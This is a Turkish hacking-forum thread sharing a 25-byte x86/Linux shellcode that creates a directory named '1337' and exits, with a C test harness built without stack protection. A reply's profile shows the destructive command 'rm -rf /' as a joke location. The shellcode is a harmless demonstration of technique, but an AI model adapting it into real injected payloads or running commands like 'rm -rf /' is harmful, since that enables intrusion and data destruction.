Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Exploitler > Bug Researchers

Bug Researchers Yeni bulunan açıklar.


x86/Linux mkdir("1337", 0755) & exit(0) Shellcode

Bug Researchers

Yeni Konu aç Cevapla
 
Seçenekler
Alt 15-08-2016 22:12   #1
  • Forumdan Uzaklaştırıldı
  • Üye Bilgileri
Üyelik tarihi
07/2016
Nereden
Assembly
Mesajlar
Konular

Teşekkür (Etti): 0
Teşekkür (Aldı): 3


x86/Linux mkdir("1337", 0755) & exit(0) Shellcode



#Gecmise Donus \w xd3.
(Son 1)




Kod:
/*
 *             ::mkdir("1337", 0755) & exit(0) Shellcode
 *   __author__: xd3
 *     __date__: 15/11/4
 *   __format__: ELF 32 Bit
 * __platform__: x86/Linux
 *     __size__: 25 Bytes
 *    
 */
 
 /* Usage:
  * 
  * $ sudo gcc -fno-stack-protector -z execstack xd3.c -o xd3
  * $ ./xd3
  * [~] Byte-Code Len: 25
  *    [+] Directory Created.
  * $ ./check.sh 1337
  * Output: 1
  * $
  */

#include <stdio.h>
#include <string.h>
#define CHVAL "\xff\x01" //Little Endian & Octal -> Hex

const unsigned char xd3[] = \
"\x6a\x27\x58\x99"
"\x52\x68\x31\x33"
"\x33\x37\x89\xe3"
"\x66\xb9" CHVAL
"\xcd\x80\x6a\x01"
"\x58\x89\xd3\xcd"
"\x80";


int main(){ 
    printf("[~] Byte-Code Len: %d\n[+] Directory Created.\n", strlen(xd3));
    int (*sh3llc0de)();
    sh3llc0de = (int (*)()) xd3;
    (int)(*sh3llc0de)();
}
 Offline  
 
Alıntı ile Cevapla
Teşekkür

Hacknology Teşekkür etti.
Alt 15-08-2016 22:16   #2
  • Yarbay
  • Üye Bilgileri
Üyelik tarihi
10/2015
Nereden
rm -rf /
Mesajlar
Konular

Teşekkür (Etti): 946
Teşekkür (Aldı): 1226




Teşekkür ederim. her zamanki gibi güzel



___________________________________________

I surrender my soul
Odin hear my call

flag{Bur4si_b1r_0yun_park1}

hacknology@hacknologyroot:~/
 Offline  
 
Alıntı ile Cevapla
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Pomeranian Boo
instagram takipci hilesi

wau